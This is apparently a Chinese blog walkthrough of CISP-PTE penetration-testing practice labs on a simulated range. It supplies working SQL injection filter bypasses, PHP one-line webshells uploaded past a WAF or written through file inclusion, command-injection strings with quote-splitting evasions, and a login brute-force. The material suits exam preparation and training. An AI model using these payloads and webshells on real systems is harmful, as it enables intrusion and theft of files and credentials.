当前位置:网站首页>CISP-PTE实操练习讲解(二)
CISP-PTE实操练习讲解(二)
2022-07-06 18:16:00 【炫彩@之星】
CISP-PTE实操练习讲解(二)
CSIP-PTE安全认证实操题有五道web题,一道综合题,这篇文章只分享5道web题,此靶场为模拟靶场。
SQL注入
通过页面提示,我们要利用sql注入读取/tmp/360/key文件,读取的话就要用到load_file命令来去获取文件信息
通过测试得知,该传值方式为POST方式传值,这里也可以看到返回的sql语句。输入id=1’) and 1#,发现返回的sql语句过滤了空格。
将空格用/**/代替,值正常返回构造sql语句,查看有多少个显示位,当显示位为5时,则页面不显示数据,所以有4个显示位。
id=1')/**/order/**/by/**/5#
- 1
通过联合查询来获取显示位,发现union被过滤
id=-1')/**/union/**/select/**/1,2,3,4#
- 1
尝试双写union来绕过
id=-1')/**/ununionion/**/select/**/1,2,3,4#
- 1
利用load_file来获取flag值
id=-1')/**/ununionion/**/select/**/1,2,3,load_file('/tmp/360/key')#
- 1
文件上传
通过提示得知,需要绕过waf才能上传文件至服务器,flag在/key.php中。先编写一句话木马,将一句话木马保存在eval.php中
<?php @eval($_POST[shell])?>
- 1
通过burp去重放去修改,尝试绕过waf。将文件后缀名修改成pht,将文件类型修改成image/gif 添加文件头GIF89a,点击发送
可以看到上传成功,利用中国蚁剑连接。
查看key.php文件
文件包含
通过url可以得知是GET传值,可以利用伪协议写入一句话木马
<?php $a = fopen('./1.php','w'); fwrite($a,'<?php eval($_POST[shell])?>'); fclose($a); ?>
连接成功
得到flag
命令执行
在输入框内依次输入’$,$$,|,||,;'看哪些被过滤了
发现都没过滤,我个人喜欢用‘;’,所以下列情况则是通过‘;’来测试。
输入;find / -name "key.php"
找到key.php的路径,那么只需要通过cat去看key.php内容即可
;cat /app/key.php
- 1
cat被过滤了,那么用另外的方式去查看该文件
;grep '' /app/key.php
- 1
出来了一句话,但没有完全显示
F12查看代码,得到flag
日志分析
通过提示,我们应该重点关注IP为172.16.12.12的操作,将日志文件下载下来,具体分析。首先筛选出IP,ctrl+f打开查找,输入IP,点击在当前文件中查找
就会得到下列的搜索结果,再将其过滤一遍,只搜索返回值为200的数据。
右键点击在此搜索结果中查找数据
搜索关键字:200
可以看到这里有个疑似是管理后台的url
在浏览器将其打开
利用爆破尝试爆破账号,密码
发现账号:admin 密码:password123页面状态码为302,可能发生跳转
尝试登录,得到flag
</article>
命令注入相关知识讲解
个人觉得这个命令注入是最简单的。
在这之前先来了解下读文件都可以用哪些命令吧。
linux常用于读取文件内容指令主要有以下七种:
cat、tac、nl、more、less、head、tail
cat: 由第一行开始显示内容,并将所有内容输出
cat 文件名 将文件内容显示在屏幕上
cat -n 文件名 将文件内容显示在屏幕上,并显示行号
cat -b 文件名 将文件内容显示在屏幕上,并显示行号,但是不显示空白行行号
tac: 从最后一行倒序显示内容,并将所有内容输出
tac 文件名 将文件内容显示在屏幕上,但是是从最后一行开始往前显示
tac -s separator 文件名 –从separator往后倒序输出,倒序输出不包含separator,输出到最后一行再按照顺序将separator之前的内容输出
tac -b -s separator 文件名 –从separator往后倒序输出,倒序输出包含separator,输出到最后一行再按照顺序将separator之前的内容输出
nl: 类似于cat-n,显示时输出行号
nl 文件名 (就是nl -b t 文件名) 使用nl指令肯定是显示行号的,主要是操作行号如何显示
nl -b a 文件名 显示行号,空行也显示行号
nl -b t 文件名 显示行号,空行不显示行号(默认值)
nl -w 数字x 文件名 行号字段所占用的位数
nl -n ln 文件名 行号在字段最前方那段空间最左端显示
nl -n rn 文件名 行号在字段最前方那段空间最右端端显示,且不加0
nl -n rz 文件名 行号在字段最前方那段空间最右端端显示,且加0
more:根据窗口大小,一页一页的查看文件内容
more 文件名
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
less 文件名
head:只显示头几行
haed 文件名 –显示文件头十行
tail:只显示最后几行
tail文件名 –显示文件尾部
相关命令执行的靶场
靶场一:
直接构造payload:
127.0.0.1 | tac …/key.php
经测试,以下payload均可完成这道题。
127.0.0.1 | less …/key.php
127.0.0.1 | m’or’e …/key.php
127.0.0.1 | tail …/key.php
127.0.0.1 | v’'i …/key.php
127.0.0.1 | c’a’t …/key.php
127.0.0.1 | head …/key.php
127.0.0.1 | nl …/key.php
|od -c …/key.php
|xxd …/key.php
|xxd …/key.php|grep key
|grep “key” …/key.php
|sed -n ‘1,5p’ …/key.php|grep key
靶场二:
直接用刚才的payload试:
127.0.0.1 | m’or’e …/key.php
经测试这个靶场可以用的payload:
127.0.0.1 | v’'i …/key.php
127.0.0.1 | c’a’t …/key.php
127.0.0.1 |xxd …/key.php
127.0.0.1 |grep “key” …/key.php
边栏推荐
- JS ES5也可以創建常量?
- curl 命令
- 鼠标右键 自定义
- Right mouse button customization
- uva 1401 dp+Trie
- Baidu flying general BMN timing action positioning framework | data preparation and training guide (Part 1)
- LeetCode. 剑指offer 62. 圆圈中最后剩下的数
- According to the analysis of the Internet industry in 2022, how to choose a suitable position?
- 7.6 simulation summary
- Today's question -2022/7/4 modify string reference type variables in lambda body
猜你喜欢
Mongodb checks whether the table is imported successfully
Transplant DAC chip mcp4725 to nuc980
ROS学习(22)TF变换
永久的摇篮
Clickhouse fields are grouped and aggregated, and SQL is queried according to the granularity of any time period
AcWing 361. Sightseeing cow problem solution (SPFA seeking positive ring)
Comparison of picture beds of free white whoring
Appium foundation - appium inspector positioning tool (I)
454-百度面经1
Make DIY welding smoke extractor with lighting
随机推荐
图片打水印 缩放 和一个输入流的转换
编译命令行终端 swift
Curl command
AcWing 1141. 局域网 题解(kruskalkruskal 求最小生成树)
AcWing 344. 观光之旅题解(floyd求无向图的最小环问题)
JVM 内存模型
百度飞将BMN时序动作定位框架 | 数据准备与训练指南 (上)
Clickhouse fields are grouped and aggregated, and SQL is queried according to the granularity of any time period
各种语言,软件,系统的国内镜像,收藏这一个仓库就够了: Thanks-Mirror
When grep looks for a process, it ignores the grep process itself
AcWing 904. Wormhole solution (SPFA for negative rings)
The difference between Tansig and logsig. Why does BP like to use Tansig
hdu 4661 Message Passing(木DP&amp;组合数学)
ROS学习(21)机器人SLAM功能包——orbslam的安装与测试
Yunna | work order management measures, how to carry out work order management
Can't you understand the code of linked list in C language? An article allows you to grasp the secondary pointer and deeply understand the various forms of parameter passing in the function parameter
Recognition of C language array
WCF Foundation
JS es5 peut également créer des constantes?
长按按钮执行函数